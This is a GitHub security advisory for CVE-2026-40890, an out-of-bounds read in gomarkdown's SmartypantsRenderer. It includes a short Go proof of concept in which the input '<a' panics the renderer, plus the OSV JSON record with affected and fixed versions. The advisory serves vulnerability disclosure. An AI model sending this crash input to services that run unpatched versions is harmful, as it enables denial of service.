GHSA-77FJ-VX54-GVH7

Vulnerability from github – Published: 2026-04-14 22:38 – Updated: 2026-04-15 21:18
VLAI?
Summary
Go Markdown has an Out-of-bounds Read in SmartypantsRenderer
Details

Summary

Processing a malformed input containing a < character that is not followed by a > character anywhere in the remaining text with a SmartypantsRenderer will lead to Out of Bounds read or a panic.

Details

The smartLeftAngle() function in html/smartypants.go:367-376 performs an out-of-bounds slice operation when processing a < character that is not followed by a > character anywhere in the remaining text. https://github.com/gomarkdown/markdown/blob/37c66b85d6ab025ba67a73ba03b7f3ef55859cca/html/smartypants.go#L367-L376 If the length of the slice is lower than its capacity, this leads to an extra byte of data read. If the length equals the capacity, this leads to a panic.

PoC

package main

import (
    "bytes"
    "fmt"

    "github.com/gomarkdown/markdown/html"
)

func main() {
    src := []byte("<a")

    fmt.Printf("Input: %q  (len=%d, cap=%d)\n", src, len(src), cap(src))

    var buf bytes.Buffer
    sp := html.NewSmartypantsRenderer(html.Smartypants)
    sp.Process(&buf, src) // panics: slice bounds out of range

    fmt.Printf("Output: %q\n", buf.String())
}

Impact

This vulnerability will lead to a Denial of Service / panic on the processing service.

-- The Datadog Security Team

Severity ?
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/gomarkdown/markdown"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20260411013819-759bbc3e3207"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-40890"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-125"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-14T22:38:20Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nProcessing a malformed input containing a `\u003c` character that is not followed by a `\u003e` character anywhere in the remaining text with a SmartypantsRenderer will lead to Out of Bounds read or a panic.\n\n### Details\n\nThe `smartLeftAngle()` function in `html/smartypants.go:367-376` performs an out-of-bounds slice operation when processing a `\u003c` character that is not followed by a `\u003e` character anywhere in the remaining text.\nhttps://github.com/gomarkdown/markdown/blob/37c66b85d6ab025ba67a73ba03b7f3ef55859cca/html/smartypants.go#L367-L376\nIf the length of the slice is lower than its capacity, this leads to an extra byte of data read. If the length equals the capacity, this leads to a panic.\n\n### PoC\n```golang\npackage main\n\nimport (\n\t\"bytes\"\n\t\"fmt\"\n\n\t\"github.com/gomarkdown/markdown/html\"\n)\n\nfunc main() {\n\tsrc := []byte(\"\u003ca\")\n\n\tfmt.Printf(\"Input: %q  (len=%d, cap=%d)\\n\", src, len(src), cap(src))\n\n\tvar buf bytes.Buffer\n\tsp := html.NewSmartypantsRenderer(html.Smartypants)\n\tsp.Process(\u0026buf, src) // panics: slice bounds out of range\n\n\tfmt.Printf(\"Output: %q\\n\", buf.String())\n}\n```\n\n### Impact\nThis vulnerability will lead to a Denial of Service / panic on the processing service.\n\n\n-- The Datadog Security Team",
  "id": "GHSA-77fj-vx54-gvh7",
  "modified": "2026-04-15T21:18:37Z",
  "published": "2026-04-14T22:38:20Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/gomarkdown/markdown/security/advisories/GHSA-77fj-vx54-gvh7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gomarkdown/markdown/commit/759bbc3e32073c3bc4e25969c132fc520eda2778"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/gomarkdown/markdown"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Go Markdown has an Out-of-bounds Read in SmartypantsRenderer"
}


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  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



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